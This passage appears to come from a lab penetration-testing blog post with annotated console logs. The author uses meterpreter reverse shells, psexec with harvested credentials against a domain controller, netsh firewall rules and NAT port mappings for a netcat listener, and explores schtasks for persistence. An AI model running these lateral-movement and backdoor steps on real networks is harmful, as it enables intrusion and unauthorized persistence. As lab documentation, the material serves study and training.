/&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 netsh advfirewall firewall add rule name="jah-netcat" dir=in action=allow profile=any localip=any remoteip=any remoteport=any localport=9999 protocol=tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 netsh advfirewall firewall add rule name="jah-netcat" dir=in action=allow profile=any localip=any remoteip=any remoteport=any localport=9999 protocol=tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The requested operation requires elevation.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;netsh exited on srv-DC with error code 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\srv-DC -u TEST\usr1 -s -p usr1 netsh advfirewall firewall add rule name="jah-netcat" dir=in action=allow profile=any localip=any remoteip=any remoteport=any localport=9999 protocol=tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -u TEST\usr1 -s -p usr1 netsh advfirewall firewall add rule name="jah-netcat" dir=in action=allow profile=any localip=any remoteip=any remoteport=any localport=9999 protocol=tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Ok.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;netsh exited on srv-DC with error code 0.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* Woo hoo! added the -s argument to run as system and it worked I now have a firewall rule in place */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\srv-DC -s -u TEST\usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -s -u TEST\usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;192.168.1.188 is not an acceptable value for proto.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;netsh exited on srv-DC with error code 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* Oops, missed a necessary argument. Added it and tried again but things got screwed for unknown reasons and I had to exit and rerun the exploit to start a new session. */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\srv-DC -s -u TEST\usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC tcp 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Terminate channel 1? [y/N]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;n&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Terminate channel 1? [y/N]  [-] Error running command shell: SignalException SIGUSR1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; ps&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[-] Error running command ps: Rex::TimeoutError Operation timed out.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; background&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt; sessions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Active sessions&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;===============&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;  Id  Type         Information                    Connection&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;  --  ----         -----------                    ----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;  2   meterpreter  NT AUTHORITY\SYSTEM @ WKS-XP1  192.168.1.188:31337 -&gt; 192.168.1.250:62571&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt; sessions -i 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[-] Invalid session identifier: 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt; sessions -i 2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Starting interaction with 2...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; ps&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[-] Error running command ps: Rex::TimeoutError Operation timed out.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Meterpreter session 2 closed.  Reason: User exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt; exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Started reverse handler on 192.168.1.188:31337&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Starting the payload handler...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Sending stage (748032 bytes) to 192.168.1.250&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Meterpreter session 3 opened (192.168.1.188:31337 -&gt; 192.168.1.250:61734)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] AutoAddRoute: Routing new subnet 192.168.2.0/255.255.255.0 through session 3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[-] The 'stdapi' extension has already been loaded.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; pwd&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;C:\WINDOWS\TEMP&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process 308 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Channel 1 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\WINDOWS\TEMP&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\srv-DC -s -u TEST\usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC tcp 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -s -u TEST\usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC tcp 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The static port mapping from 192.168.1.188/9999 to 192.168.2.50/9999 requires 192.168.1.188 to be part of a configured address range. To define a static port mapping on this interface's assigned IP address, please specify 0.0.0.0 as the public address for the mapping.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;netsh exited on srv-DC with error code 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* I was trying to limit access to only wks-Matriux. It didn't work and it was too late at night to understand why, so I just set to 0.0.0.0 */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;psexec \\srv-DC -s -u TEST\usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC tcp 0.0.0.0 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -s -u TEST\usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC tcp 0.0.0.0 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;netsh exited on srv-DC with error code 0.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* OK, I think I now have portmapping and a firewall rule in place :) */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;netsh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* Hanging screwiness follows, had to terminate and re-establish session */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Terminate channel 1? [y/N]  [-] Error running command shell: SignalException SIGUSR1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; it&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[-] Unknown command: it.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Meterpreter session 3 closed.  Reason: User exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt; exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Started reverse handler on 192.168.1.188:31337&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Starting the payload handler...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Sending stage (748032 bytes) to 192.168.1.250&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Meterpreter session 4 opened (192.168.1.188:31337 -&gt; 192.168.1.250:61737)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] AutoAddRoute: Routing new subnet 192.168.2.0/255.255.255.0 through session 4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[-] The 'stdapi' extension has already been loaded.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process 1008 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Channel 1 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\WINDOWS\TEMP&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd c:\program files\ps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;netsh firewall add portopening protocol=tcp port=9999 name="jah-netcat" profile=ALL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;netsh firewall add portopening protocol=tcp port=9999 name="jah-netcat" profile=ALL&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Ok.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* This is adding the firewall opening to the local workstation. Netsh is different on XP */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;schtasks /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;schtasks /?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-size:85%;" &gt;&lt;span style="font-family:courier new;"&gt;SCHTASKS /parameter [arguments]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Description:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Enables an administrator to create, delete, query, change, run and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    end scheduled tasks on a local or remote system. Replaces AT.exe.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Parameter List:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Create         Creates a new scheduled task.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Delete         Deletes the scheduled task(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Query          Displays all scheduled tasks.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Change         Changes the properties of scheduled task.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Run            Runs the scheduled task immediately.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /End            Stops the currently running scheduled task.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /?              Displays this help/usage.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Examples:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Run /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /End /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Create /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Delete /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Query  /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Change /?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;schtasks /create /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;schtasks /create /?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-size:85%;" &gt;&lt;span style="font-family:courier new;"&gt;SCHTASKS /Create [/S system [/U username [/P password]]]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    [/I idletime] /TN taskname /TR taskrun [/ST starttime] [/M months]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    [/SD startdate] [/ED enddate]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Description:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Enables an administrator to create scheduled tasks on a local or&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    remote systems.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Parameter List:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /S           system            Specifies the remote system to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   connect to. If omitted the system&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   parameter defaults to the local&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   system.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /U           username          Specifies the user context under&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   which the command should execute.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /P           password          Specifies the password for the given&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   user context.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /RU          username          Specifies the user account (user&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   context) under which the task runs.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   For the system account, valid values&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   are "", "NT AUTHORITY\SYSTEM" or&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   "SYSTEM".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /RP          password          Specifies the password for the user.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   To prompt for the password, the value&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   must be either "*" or none.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   Password will not effect for the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   system account.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /SC          schedule          Specifies the schedule frequency.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   Valid schedule types: MINUTE, HOURLY,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   DAILY, WEEKLY, MONTHLY, ONCE,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   ONSTART, ONLOGON, ONIDLE.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /MO          modifier          Refines the schedule type to allow&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   finer control over schedule&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   recurrence. Valid values are listed&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   in the "Modifiers" section below.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /D           days              Specifies the day of the week to run&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   the task. Valid values: MON, TUE,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   WED, THU, FRI, SAT, SUN and for&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   MONTHLY schedules 1 - 31 (days of the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   month).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /M           months            Specifies month(s) of the year.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   Defaults to the first day of the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   month. Valid values: JAN, FEB, MAR,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   APR, MAY, JUN, JUL, AUG, SEP, OCT,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   NOV, DEC.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /I           idletime          Specifies the amount of idle time to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   wait before running a scheduled&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   ONIDLE task.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   Valid range: 1 - 999 minutes.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /TN          taskname          Specifies a name which uniquely&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   identifies this scheduled task.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /TR          taskrun           Specifies the path and file name of&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   the program to be run by this&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   scheduled task.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   Example: C:\windows\system32\calc.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /ST          starttime         Specifies the time to run the task.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   The time format is HH:MM:SS (24 hour&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   time) for example, 14:30:00 for&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   2:30 PM.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /SD          startdate         Specifies the first date on which the&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   task runs. The format is&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   "mm/dd/yyyy".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /ED          enddate           Specifies the last date when the task&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   should run. The format is&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                                   "mm/dd/yyyy".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /?                             Displays this help/usage.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Modifiers: Valid values for the /MO switch per schedule type:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    MINUTE:  1 - 1439 minutes.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    HOURLY:  1 - 23 hours.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    DAILY:   1 - 365 days.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    WEEKLY:  weeks 1 - 52.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ONCE:    No modifiers.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ONSTART: No modifiers.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ONLOGON: No modifiers.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ONIDLE:  No modifiers.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    MONTHLY: 1 - 12, or&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Examples:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Create /S system /U user /P password /RU runasuser&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             /RP runaspassword /SC HOURLY /TN rtest1 /TR notepad&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Create /S system /U domain\user /P password /SC MINUTE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             /MO 5 /TN rtest2 /TR calc.exe /ST 12:00:00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             /SD 10/20/2001 /ED 10/20/2001 /RU runasuser /RP&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN game&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             /TR c:\windows\system32\freecell&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Create /S system /U user /P password /RU runasuser&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             /RP runaspassword /SC WEEKLY /TN test1 /TR notepad.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Create /S system /U domain\user /P password /SC MINUTE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             /MO 5 /TN test2 /TR c:\windows\system32\notepad.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             /ST 18:30:00 /RU runasuser /RP *&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN cell&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             /TR c:\windows\system32\freecell /RU runasuser&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* They don't give an example of how to pass arguments to a task or how to use a task path with spaces, thanks MS :| Experimentation is painful in the console with no tab completions. The easiest way to do this is to either use short pathnames (progra~1) or to create a batch file with your command line in it, then use the task to call run that. */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;schtasks /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;schtasks /?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-size:85%;" &gt;&lt;span style="font-family:courier new;"&gt;SCHTASKS /parameter [arguments]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Description:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Enables an administrator to create, delete, query, change, run and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    end scheduled tasks on a local or remote system. Replaces 